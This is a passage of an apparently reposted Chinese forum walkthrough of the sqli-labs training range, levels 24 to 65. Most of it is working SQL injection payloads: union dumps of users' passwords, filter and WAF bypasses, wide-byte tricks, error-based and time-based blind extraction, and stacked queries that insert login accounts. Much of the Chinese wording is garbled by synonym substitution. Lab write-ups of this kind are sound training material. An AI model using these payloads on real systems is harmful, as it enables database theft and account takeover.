  4. ?id=' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() or '1'= '
  5. #爆列名
  6. ?id=' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' or '1'= '
  7. # 爆值
  8. ?id=' union select 1,group_concat(username),group_concat(password) from users where 1 or '1' = '
复制代码

这里发现显错位是2,1,那么我们接下来直接联合注入就好了
这里就同理了,我们直接上末了一个用户和暗码
24关

1.第二十四关
这一关我们发现让我们去注册一个用户,所以我们有思路,可以尝试者去举行二次注入

我们创建一个admin’#的用户

然后用这个用户登岸

登岸成功以后我们去修改这个用户暗码

然后我们用这个admin登岸

这个原理是如许的,我们创建了一个admin’#的用户去修改它的暗码,数据库会执行一个update命令
上命令
  1. update users set password=123 where username='admin'#';          # 这样的话数据库会将#注释掉,默认以为修改admin的密码,所以导致我们可以使用admin登陆数据库   
复制代码
25关

1.第二十五关

首先我们找到了注入点,我们开始尝试着注入

我们发现一个问题,输入or 和and 以后 会将其过滤,所以导致我们的语句错误,所以我们可以绕过一下 我们使用双写绕过就好了 比方or 写成 oorr 它将中心的or过滤之后还有别的一个or
所以我们直接上命令
  1. ?id=1'  aandnd 1=1 --+
  2. ?id=1'  oorrder by 3 --+
  3. ?id=1'  oorrder by 4  --+   # 发现没有回显,说明有3个字段
  4. ?id=-1' union select 1,2,3  --+ # 判断显错位,可以得出,显错位是2,3  利用2,3进行注入
  5. ?id=-1' union select 1,database(),version() --+  # 可以得出数据库的名字和版本号
  6. ?id=-1' union select 1,2,group_concat(table_name)from infoorrmation_schema.tables where table_schema=database() --+    # 得到库中的所有表  
  7. ?id=-1' union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_name='users' --+  # 得到表中的字段,利用表中的字段得到我们的想要的数据
  8. ?id=-1' union select 1,2,group_concat(username,0x7e,passwoorrd)  from users --+  # 得到我们想要的username 和 password  0x7e是编码的东西,解码之后是~是为了让我们看回显的时候跟好看!!!
  9. ?id=-1' union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_name='users' anandd table_schema=database()    --+
  10. ?id=-1'union select 1,2,group_concat(username,0x22,passwoorrd) from users --+
复制代码

这里必要注意一下我们必要把informtaion写成infoorrmation

26关-27关

1.第二十六关

同理找注入点

这里我们输入正确的sql语句,但是回显出现问题,所以应该是将or and 以及–+全部过滤掉了
所以在这里我们必要用逻辑运算符 &&和 || 表示 而且结尾必要使用’闭合 所以我们直接上命令
  1. ?id=1'||(updatexml(1,concat(0x7e,database(),0x7e),1)) || '0    # 爆数据库名
  2. ?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))),1))||'0   # 爆表
  3. ?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='security'aandnd(table_name='users')))),1))||'0     # 爆字段
  4. ?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(passwoorrd,username))from(users))),1))||'0   # 爆密码账户
复制代码
这里我们直接给末了一个图

2.第二十七关


找到闭合点以后尝试着举行注入
二十七关和二十六差不多不外二十七关没有过滤and和or,过滤了select和union,我们可以巨细写绕过以及重写绕过。

这里很显着过滤了空格
所以我们必要用巨细写和双重写绕过且不能用空格
直接上命令
  1. ?id=1'or(updatexml(1,concat(0x7e,database(),0x7e),1))or '0   # 爆库名
  2. ?id=1'or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(table_name))from(information_schema.tables)where(table_schema='security'))),1))or'0  # 爆表
  3. ?id=1'or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(column_name))from(information_schema.columns)where(table_schema='security'and(table_name='users')))),1))or'0  # 爆字段
  4. ?id=1'or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(password,username))from(users))),1))or'0  # 爆密码账户
复制代码

28关

1.第二十八关
该关卡过滤了注释符空格还过滤了union和select。\s表示空格,+表示匹配一次或多次,/i表示不区分巨细写,所以团体表示匹配 union加一个或多个空格加select,其中union和select不区分巨细。所以我们可以使用重写绕过写。
命令
  1. ?id=0')uni union%0Aselecton%0Aselect%0A1,2,group_concat(table_name)from%0Ainformation_schema.tables%0Awhere%0Atable_schema=database()and ('1 # 爆表
  2. ?id=0')uni union%0Aselecton%0Aselect%0A1,2,group_concat(column_name)from%0Ainformation_schema.columns%0Awhere%0Atable_schema='security'%0Aand%0Atable_name='users'%0Aand('1  # 爆字段
  3. ?id=0')uni union%0Aselecton%0Aselect%0A1,2,group_concat(password,username)from%0Ausers%0Aand%0A('1      # 爆数据
复制代码
29关-31关

1.第二十九关

就是会对输入的参数举行校验是否为数字,但是在对参数值举行校验之前的提取时候只提取了第一个id值,假如我们有两个id参数,第一个id参数正常数字,第二个id参数举行sql注入。sql语句在担当相同参数时候担当的是后面的参数值。
利用参数污染注入,传入2个参数,第一个用来诱骗waf,第二个用于正常访问。

上命令
  1. ?id=1&id=-1' union select 1,2,database()--+                    # 暴库名
  2. ?id=1&id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+ # 爆表名
  3. ?id=1&id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+                 # 爆字段
  4. ?id=1&id=-1' union select 1,2,group_concat(username,'-',password) from security.users--+  # 爆数据
复制代码

2.第三十关

跟29同理,找到闭合点即可,也是利用2个参数传入,绕过waf
上命令
  1. ?id=1&id=-1" union select 1,2,database()--+
  2. ?id=1&id=-1" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
  3. ?id=1&id=-1" union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
  4. ?id=1&id=-1" union select 1,2,group_concat(username,'-',password) from security.users--+
复制代码

3.第三十一关

同理,只是闭合点不一样,闭合点是’)
命令
  1. ?id=1&id=-1") union select 1,2,database()--+        # 爆库名
  2. ?id=1&id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+                         # 爆表
  3. ?id=1&id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+                                   # 爆字段
  4. ?id=1&id=-1") union select 1,2,group_concat(username,'-',password) from security.users--+  # 爆数据
复制代码
32-33关

1.第三十二关与第三十三关一样,同样的命令方法即可
这一关是get哀求栏中 发现使用什么都不能闭合,但是可以使用宽字节

由于php源码中是用来greg_replace函数将斜杠,单引号与双引号过滤了,所以输入’之后不起作用,所以这个时候我们可以使用宽字节注入,当某字符的巨细为一个字节时,称其字符为窄字节当某字符的巨细为两个字节时,称其字符为宽字节。所有英文默认占一个字节,汉字占两个字节。
我们使用%df和%27组合,使其成为一个宽字节,然后导致报错,然后我们可以将后面注释,从而形成注入

接着我们直接上命令:
  1. ?id=1%df%27 order by 4  --+  # 发现没有回显,说明有3个字段
  2. ?id=-1%df%27union select 1,2,3  --+ # 判断显错位,可以得出,显错位是2,3  利用2,3进行注入
  3. ?id=-1%df%27 union select 1,database(),version() --+  # 可以得出数据库的名字和版本号
  4. ?id=-1%df%27 union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=database() --+    # 得到库中的所有表  
  5. ?id=-1%df%27 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 --+  # 得到表中的字段,利用表中的字段得到我们的想要的数据
  6. ?id=-1%df%27 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 and table_schema=database()   --+
  7. ?id=-1%df%27 union select 1,2,group_concat(username,id,password) from users   --+
复制代码

这里表名必要十六进制编码一下,由于这里存在一个过滤

34关

1.第三十四关

又是我们认识的post哀求
我们继续bp抓包测试

看到这个我们就很敏感了,同样的道理,还是将’转义了,所以我们必要使用宽字节

如许的话就完美的解决了,然后我们就可以使用我们的命令了,直接上命令
  1. admin%df' order by 3  # 发现没有回显,说明有2个字段
  2. admin%df' union select 1,2 # 判断显错
  3. admin%df' union select 1,database()# 可以得出数据库的名字
  4. admin%df' union select 1,version()#  可以得出数据库的版本
  5. admin%df'union select 1,group_concat(table_name)from information_schema.tables where table_schema=database() #   得到库中的所有表  
  6. admin%df' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 and table_schema=database()#  得到表中的字段,利用表中的字段得到我们的想要的数据
  7. admin%df'union select 1,group_concat(username,id,password) from users  #  得到字段的具体的内容
复制代码

同理我们直接上末了一个图

35关

1.第三十五关

这里我们成功的找到了注入点,就是’ --+然后我们就可以使用联合注入,但是肯定有过滤的东西,所以我们直接上命令
  1. ?id=1 order by 4       # 得到字段数是3
  2. ?id=-1 union select 1,2,3  # 得出回显是2,3
  3. ?id=-1 union select 1,database(),version()    # 得出数据库的版本和名字
  4. ?id=-1 union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()         # 爆出表名
  5. ?id=-1 union select 1,database(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273        # 爆出字段,但是这里的users表需要用16进制编码,因为对'users'做了过滤   
  6. ?id=-1 union select 1,2,group_concat(username,password) from users        # 得到数据
复制代码
同理我们直接出末了一个图

36关

1.第三十六关 与32关一样所以直接上命令
  1. 发现没有回显,说明有3个字段
  2. ?id=-1%df%27union select 1,2,3  --+ 判断显错位,可以得出,显错位是2,3  利用2,3进行注入
  3. ?id=-1%df%27 union select 1,database(),version() --+  可以得出数据库的名字和版本号
  4. ?id=-1%df%27 union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=database() --+    得到库中的所有表
  5. ?id=-1%df%27 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 and table_schema=database()          --+
  6. ?id=-1%df%27 union select 1,2,group_concat(username,id,password) from users   --+
复制代码

37关

宽字节的post注入,跟34一样,但是必要用bp抓包
上命令
  1. admin%df' order by 3  # 发现没有回显,说明有2个字段
  2. admin%df' union select 1,2 # 判断显错
  3. admin%df' union select 1,database() # 可以得出数据库的名字
  4. admin%df' union select 1,version()  # 可以得出数据库的版本
  5. admin%df'union select 1,group_concat(table_name)from information_schema.tables where table_schema=database() #   得到库中的所有表  
  6. admin%df' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 and table_schema=database()#  得到表中的字段,利用表中的字段得到我们的想要的数据
  7. admin%df'union select 1,group_concat(username,id,password) from users  #  得到字段的具体的内容
复制代码

38关-45关

1.第三十八关


到这里我们发现和第一关的是一样的,但用第一关的做法来做就多多少少有点捞了,这波是要我们训练堆叠注入的,所以我们可以执行多条sql语句。所以我们可以插入一个表格,或者修改数据或者删除数据库什么的,这里都行,所以就创建一个表吧!

这里我们用工具连上数据库去看一下

确实是有我们创建的表
2.第三十九关

跟38关是原理一样,所以我们这里只要找到闭合点就好了

我们发现闭合点就是没有闭合点,所以我们这里直接举行堆叠语句就好了
那我们这里可以再表里面差一个数据
  1. ?id=1;insert into hjm values('1','hjm','123')  # 解释一下,hjm表中插入数据1 hjm 和        123   这个师傅们应该都懂
复制代码
还是我们连接数据库看一下

3.第四十关

同理,找到闭合点就好了

我们继续创建表
  1. ?id=1'); create table  hjm2 like users;--+ # 这里就不解释了,师傅们都懂
复制代码

4.第四十一关

同样的道理,找闭合点

找到注入点,在这里我们可以举行插入数据
  1. ?id=1;insert into hjm2(id,username,password)values(1,'hjm','password');
复制代码
同理我们上数据库看一下

5.第四十二关

这一关同理,我们只要找到注入点就好了
这里是一个post哀求,我们可以去抓包,然后找到注入点之后,利用堆叠注入

在这里我们找到了注入方式,我们可以给users表中插入两个数据,作为我们登岸账号和暗码
  1. ';insert into users(id,username,password) values ('100','hjm1','123456')#
复制代码

然后我们可以上数据库看一下,我们也可以直接登岸,我们登岸看一下吧
这里我们成功的登录进去,成功拿下数据库
6.第四十三关

第四十三关是同样的思路,找到闭合点就好了
我们找到了注入点,后面的是同样的
同样的思路,我们可以去拿他数据库,也可以执行一些堆叠语句
7.第四十四关

四十四关和四十二关一样
8.第四十五关

四十五关和四十三关一样
46关-49关

1.第四十六关


使用新的参数sort,通过输入1,2,3表中出现不同数据,该sql语句是order by,sql语句参数没有引号且不能使用联合注入,有报错显示,所以我们可以使用updatexml举行报错。

看到这,我们可以尝试着用报错注入
上命令
  1. ?sort=3 and (updatexml(1,concat(0x5c,database(),0x5c),1)) --+    # 使用显错注入获得数据库的名字  
  2. ?sort=3 and (updatexml(1,concat(0x5c,version(),0x5c),1))  --+    # 使用显错注入获取到版本号
  3. ?sort=3 and (updatexml(1,concat(0x5c,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x5c),1))  --+                        #  使用显错注入获取到表名
  4. ?sort=3 and (updatexml(1,concat(0x5c,(select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='users'),0x5c),1)) --+    # 使用显错注入获取到字段名
  5. ?sort=3 and (updatexml(1,concat(0x5c,(select group_concat(username)from(select username from users)a),0x5c),1)) --+      #  使用显错注入获取到username具体值
  6. ?sort=3 and (updatexml(1,concat(0x5c,(select group_concat(password)from(select password from users)a),0x5c),1)) --+     # 使用显错注入获取到password的具体值
  7. ?sort=3 and (updatexml(1,concat(0x5c,(select group_concat(username,0x5c,password)from(select username,password from users limit 0,1 )a),0x5c),1)) --+    # 使用显错注入获取到username和password的所有值
复制代码

设置好payload直接爆出所有的账户暗码

2.第四十七关

四十七关和四十六差不多,找到注入点,可以使用报错注入

发现这里使用’闭合,那么直接上命令
  1. ?sort=3' and (updatexml(1,concat(0x5c,database(),0x5c),1))  --+   # 使用显错注入获得数据库的名字  
  2. ?sort=3' and (updatexml(1,concat(0x5c,version(),0x5c),1))  --+    # 使用显错注入获取到版本号
  3. ?sort=3' and (updatexml(1,concat(0x5c,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x5c),1))  --+                         # 使用显错注入获取到表名
  4. ?sort=3' and (updatexml(1,concat(0x5c,(select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='users'),0x5c),1)) --+   # 使用显错注入获取到字段名
  5. ?sort=3' and (updatexml(1,concat(0x5c,(select group_concat(username)from(select username from users)a),0x5c),1)) --+       # 使用显错注入获取到username具体值
  6. ?sort=3' and (updatexml(1,concat(0x5c,(select group_concat(password)from(select password from users)a),0x5c),1)) --+       # 使用显错注入获取到password的具体值
  7. ?sort=3' and (updatexml(1,concat(0x5c,(select group_concat(username,0x5c,password)from(select username,password from users limit 0,1 )a),0x5c),1)) --+    # 使用显错注入获取到username和password的所有值
复制代码

3.第四十八关


这里发现没有回显,所以只能考虑举行盲注 找一下闭合点

发现闭合点
使用延时注入
直接上命令
  1. ?sort=3 and if(length((select database()))=8,sleep(1),1)--+                 # 用时间延时注入判断数据库长度
  2. ?sort=3 and if(substr((select database()),1,1)='s',sleep(1),1)--+           # 使用时间延时判断数据库的第一个字母是不是s  
  3. ?sort=3  and if((select count(table_name) from information_schema.tables where table_schema=database())=4,sleep(1),1) --+                           # 使用时间延时的注入来判断有4个表
  4. ?sort=3 and if (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6,sleep(1),1) --+               #  使用时间延时注入来判断第一个表的长度是6
  5. ?sort=3  and if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e',sleep(1),1) --+          # 使用时间延时注入来判断第一个表的名字
  6. ?sort=3 and if((select count(column_name)from information_schema.columns where table_schema=database() and table_name='users')=3,sleep(1),1) --+   # 使用延时注入来判断第一个表中的字段有3个
  7. ?sort=3 and if(length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))=2,sleep(1),1) --+         # 使用延时注入来判断表中的字段的长度
  8. ?sort=3  and if(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1)='i',sleep(1),1) --+   # 使用延时注入来判断第个表中的第一个字段是i
  9. ?sort=3  and if(substr((select username from users limit 0,1),1,1)='D',sleep(1),1) --+  # 使用延时注入来判断username字段中的数据是否为D
  10. ?sort=3  and if(substr((select password from users limit 0,1),1,1)='D',sleep(1),1) --+  # 使用延时注入来判断password字段中的数据是否为D
复制代码
4.第四十九关

四十九关和四十七关一样,不外没有报错显示,所以使用延时注入。
在这里我们必要找一下注入点

直接上命令
  1. ?sort=3' and if(length((select database()))=8,sleep(1),1)--+                 # 用时间延时注入判断数据库长度
  2. ?sort=3'  and if(substr((select database()),1,1)='s',sleep(1),1)--+          # 使用时间延时判断数据库的第一个字母是不是s  
  3. ?sort=3'   and if((select count(table_name) from information_schema.tables where table_schema=database())=4,sleep(1),1) --+                           # 使用时间延时的注入来判断有4个表
  4. ?sort=3'  and if (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6,sleep(1),1) --+               # 使用时间延时注入来判断第一个表的长度是6
  5. ?sort=3'   and if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e',sleep(1),1) --+          # 使用时间延时注入来判断第一个表的名字
  6. ?sort=3'  and if((select count(column_name)from information_schema.columns where table_schema=database() and table_name='users')=3,sleep(1),1) --+   # 使用延时注入来判断第一个表中的字段有3个
  7. ?sort=3'  and if(length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))=2,sleep(1),1) --+         # 使用延时注入来判断表中的字段的长度
  8. ?sort=3'   and if(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1)='i',sleep(1),1) --+   # 使用延时注入来判断第个表中的第一个字段是i
  9. ?sort=3'   and if(substr((select username from users limit 0,1),1,1)='D',sleep(1),1) --+  # 使用延时注入来判断username字段中的数据是否为D
  10. ?sort=3'   and if(substr((select password from users limit 0,1),1,1)='D',sleep(1),1) --+  # 使用延时注入来判断password字段中的数据是否为D
复制代码
51-53关

1.第五十一关


这里找到注入点我们可以尝试用显错注入,我们直接上命令
  1. ?sort=' or (updatexml(1,concat(0x5c,database(),0x5c),1)) --+     使用显错注入获得数据库的名字  
  2. ?sort=' or (updatexml(1,concat(0x5c,version(),0x5c),1))  --+
  3.      使用显错注入获取到版本号
  4. ?sort=' or (updatexml(1,concat(0x5c,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x5c),1)) --+
  5.                            使用显错注入获取到表名
  6. ?sort=' or (updatexml(1,concat(0x5c,(select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='users'),0x5c),1)) --+
  7.    使用显错注入获取到字段名
  8. ?sort=' or (updatexml(1,concat(0x5c,(select group_concat(username)from(select username from users)a),0x5c),1)) --+
  9.       使用显错注入获取到username具体值
  10. ?sort=' or (updatexml(1,concat(0x5c,(select group_concat(password)from(select password from users)a),0x5c),1)) --+
  11.       使用显错注入获取到password的具体值
  12. ?sort=' or (updatexml(1,concat(0x5c,(select group_concat(username,0x5c,password)from(select username,password from users limit 0,1 )a),0x5c),1)) --+
  13.     使用显错注入获取到username和password的所有值
复制代码

2.第五十二关


在这里我们发现了这里有注入点,可以在这里举行堆叠注入,比如创建数据库
  1. ?sort=1; create table abc like users;
复制代码

我们连上数据库看一下
存在我们创建的表
3.第五十三关

与52关同理,知道找到闭合点就好了

这里也是同样适用创建表
  1. ?sort=1';create table bbb like users; --+
复制代码

同理我们看一下

54关-57关

1.第五十四关

翻译页面的英文,得知只有十次输入机会,超过十次所有表名,列名,等等都会随机重置。id参数是单引号闭合就
可以了

找到注入点以后我们就可以去找字段以及显错位置
  1. ?id=1'  and 1=1 --+
  2. ?id=1'  order by 3 --+
  3. ?id=1'  order by 4  --+  # 发现没有回显,说明有3个字段
  4. ?id=-1' union select 1,2,3  --+  # 判断显错位,可以得出,显错位是2,3  利用2,3进行注入
  5. ?id=-1' union select 1,database(),version() --+  # 可以得出数据库的名字和版本号
  6. ?id=-1' union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=database() --+    # 得到库中的所有表  
  7. ?id=?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='5mun9luvtz' --+  # 这个5m是我得出的 得到表中的字段,利用表中的字段得到我们的想要的数据
  8. ?id=-1'union select 1,2,group_concat(secret_IVJ4) from 5mun9luvtz  --+
复制代码

得到数据库的名字是challenges
然后爆字段

得到表是5mun91uvtz
得到字段
这里必要得到secret这个字段

得到结果
kP7TlVSNsbtjJb1iosg1PucL
用这个结果登录即可
2.第五十五关


思路与54一样只是这里闭合的点是) 而的命令与54同理,使用联合注入就可以
3.第五十六关


同样的思路,这里的闭合点是单引号括号 然后利用联合注入就好了
4.第五十七关


同理,这里使用"闭合就好了,然后利用联合查询就好了
58-61关

1.第五十八关


同样,在这里我们找到了注入点,但是次数只有5次所以我们想到了报错注入
  1. ?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+     # 爆出表的名字
  2. ?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='x87nrg3jvg'),0x7e),1)--+   # 爆列名
  3. ?id=1' and updatexml(1,concat(0x7e,(select group_concat(secret_SX1R) from x87nrg3jvg),0x7e),1)--+               # 爆字段名 也就是钥匙
复制代码

知道表名x87nrg3jvg
爆出字段的名字id,sessic,secret_sx1R,tryy
我们来爆结果

hqgQA9uNcTQsHUIGD4859Zzu 提交即可
2.第五十九关


同理这里是整形的所以直接使用–+ 然后举行报错注入就好了!
3.第六十关


在这里我们发现了闭合点是") 后面同理,使用显错就好了
4.第六十一关


同理,这里发现是))闭合,找到闭合点,显错就好了

62-65关

1.第六十二关


这里发现闭合以后不报错没有回复,所以这里是使用盲注,盲注命令前面都有,这里就找一下闭合点了!!

找到了闭合点,我们可以使用延时注入和布尔注入去找
2.第六十三关

同样的思路,去找闭合点,然后盲注就好了

这里是用’ --+举行的注释
3.第六十四关

还是找闭合点!

是ID )) --+这种闭合方式 所以这里我们还是举行盲注
4.第六十五关


这里找到了闭合点,是使用) --+ 的 ,之后继续使用盲注
小结

   这里有些细心的师傅应该会发现,后面的ip地址是发生变化的,这里是我在打靶过程中,出现了一些问题,然后重新搭建的另一个靶机!
  总结:

   这里写了所有关卡的方法,其实那些方法都大差不差,重要是学习思路,所以后续一些关卡的命令就没有拿出来,由于同前面的都一样
这五六天的过程中,也是一个比较煎熬的过程,好在末了是坚持了下来!
整个过程中,费时费力,这是一件挺耗费精力的事变,花了很长世界写了这篇文章,渴望对于各位师傅有所资助,后续还在持续的更新中!!!

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

忿忿的泥巴坨

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表